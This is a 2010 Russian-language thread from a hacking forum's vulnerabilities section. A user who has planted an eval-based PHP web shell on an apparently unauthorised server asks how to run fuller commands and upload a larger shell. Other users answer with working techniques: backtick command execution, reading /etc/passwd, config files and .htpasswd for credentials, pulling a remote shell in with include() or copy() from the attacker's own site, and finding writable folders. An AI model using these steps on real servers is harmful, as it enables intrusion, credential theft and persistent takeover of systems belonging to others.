Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   php шелл не работают команды (https://forum.antichat.xyz/showthread.php?t=202700)

nullik 08.05.2010 23:46

php шелл не работают команды
 
залит eval('cmd') php шелл, но в чем проблема не понятно
команда shell.php?cmd=passthru('uname'); выдаёт Linux
а уже passthru('uname -a'); выдаёт пустой лист.
Так же с 'ls' (выдает список файлов) и 'ls -a' (пустой лист), в итоге не могу залить нормальный шелл. Ни через php функцию copy, file_get_contents, ни через exec (wget);
Подскажите в чем проблема, плиз.

попугай 09.05.2010 00:00

вместо пробела "+" ставь

Konqi 09.05.2010 00:02

ешо через принт попробуй

print(`ls -al`)

nullik 09.05.2010 00:23

Цитата:

Сообщение от попугай
вместо пробела "+" ставь

passthru('uname+-a');
пустой лист.
Цитата:

print(`ls -al`)
работает правильно, тогда вопрос как залить шелл в такой ситуации?
copy(`http://moy sayt.com/shell.txt`,dirname(__FILE__).`/shell.php`);
не срабатывает например

Konqi 09.05.2010 00:27

wget не катит?

nullik 09.05.2010 00:28

Цитата:

Сообщение от Konqi
wget не катит?

дай плиз полную выкладку по wget, может я где промахиваюсь

Konqi 09.05.2010 00:36

http://www.gnu.org/software/wget/manual/wget.html

а еще можешь читать системные файлы если есть права

print(`cat /etc/passwd`)

определи полный путь к сайту и читай скрипты

nullik 09.05.2010 00:39

Цитата:

определи полный путь к сайту и читай скрипты
не хочу читать, хочу писать
смысл в shadow файлах?
дай плиз php команду для залива, wget -o не срабатывает, GET тоже, fetch Не хочет, может я где не так пишу - напиши пример (гугль шарил, не помогло).

Konqi 09.05.2010 00:43

Цитата:

Сообщение от nullik
не хочу читать, хочу писать

если можешь читать конфиг файлы увидишь много интересного,
например admin.php,db.php,login.php

или файлы .htaccess, .htpasswd

ешо попробуй include("yoursite.com/shell.php"); или require()

попугай 09.05.2010 00:43

Цитата:

Сообщение от nullik
copy(`http://moy sayt.com/shell.txt`,dirname(__FILE__).`/shell.php`);
не срабатывает например

такие кавычки нельзя использовать для опредления строк, только
Цитата:

'
и
Цитата:

"
для начала найди папки, куда писать можно командой ls -lia или find


Время: 08:05